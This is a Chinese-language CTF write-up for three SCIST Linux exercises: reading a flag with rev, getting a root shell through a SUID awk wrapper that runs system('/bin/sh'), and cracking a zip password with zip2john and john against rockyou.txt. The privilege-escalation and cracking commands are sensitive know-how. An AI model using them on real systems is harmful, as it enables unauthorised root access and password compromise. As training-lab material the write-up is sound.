SCIST Linux CTF - Writeup

SCIST Linux CTF - Writeup

Linux

HW0 - Use rev command to read the /flag

題目要求使用 rev 讀取靶機下的檔案,使用兩次 rev 獲得正確的 flag。

┌──(ldn970110㉿LDNsKali)-[~]
└─$ nc 靶機
=== Rev-Only Challenge ===
Flag is in /flag. Find a way to read it.
root@7d99e433d724:/$ rev /flag
}trats_egassem_siht_ver{TSICS
root@7d99e433d724:/$ rev /flag | rev
SCIST{rev_this_message_start}
root@7d99e433d724:/$

Flag: SCIST{rev_this_message_start}


HW1 - SUID privilege escalation

連線靶機,獲得了一個低權限的 ctfuser shell:

ctfuser@80f752e94032:~$

尋找系統上具有 SUID 權限的檔案:

ctfuser@80f752e94032:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/mount
/usr/bin/gpasswd
... (其他標準 SUID 檔案)
/usr/bin/awkrunner

跳出了一個提示:

Usage: /usr/bin/awkrunner [AWK_PROGRAM] [FILES...]
Note: Executes /usr/bin/awk with full root privileges.

發現這個 awkrunner 會以 root 執行我所提供的腳本:

/usr/bin/awkrunner 'BEGIN { system("/bin/sh") }'

執行後進入了一個具有 root 權限的 shell,透過這個 shell 執行 /flag

SCIST{awk_1s_my_pr3f3rr3d_w4y_t0_r00t}

Flag: SCIST{awk_1s_my_pr3f3rr3d_w4y_t0_r00t}


HW2 - zip 密碼破解

題目提供一個加密的 SCIST.zip 檔案,提示密碼存在於 rockyou.txt 字典檔中。Flag 藏在解壓縮後的 PDF 檔案的「作者 (Author)」欄位,並使用 Base64 加密。

使用 John the Ripper 來破解密碼:

┌──(ldn970110㉿LDNsKali)-[~/文件]
└─$ zip2john /home/ldn970110/文件/SCIST.zip > /home/ldn970110/文件/scist.hash

接著使用 john 搭配 rockyou.txt 字典檔來破解這個 hash:

┌──(ldn970110㉿LDNsKali)-[~/文件]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt /home/ldn970110/文件/scist.hash
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
No password hashes left to crack (see FAQ)
┌──(ldn970110㉿LDNsKali)-[~/文件]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt /home/ldn970110/文件/scist.hash
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 114987 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:05 4.17% (ETA: 16:12:22) 0g/s 125068p/s 125068c/s 125068C/s grass9..blah2007
... (破解中) ...
0g 0:00:00:13 10.48% (ETA: 16:12:27) 0g/s 124215p/s 124215c/s 124215C/s karenkim..jhvguyh
fascist (SCIST.zip/SCIST.pdf)
1g 0:00:00:14 DONE (2025-10-28 16:10) 0.06747g/s 123819p/s 123819c/s 123819C/s fish2133..efer05
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

John 成功找到了密碼:fascist

使用密碼解壓或的一個PDF,在作者欄位發現一串亂碼,透過base64解碼得到falg

┌──(ldn970110㉿LDNsKali)-[~/文件]
└─$ echo -n "U0NJU1R7ejFwX2NyNGNrM2RfbTN0YV9sM2FrfQ==" | base64 -d
SCIST{z1p_cr4ck3d_m3ta_l3ak}

Flag: SCIST{z1p_cr4ck3d_m3ta_l3ak}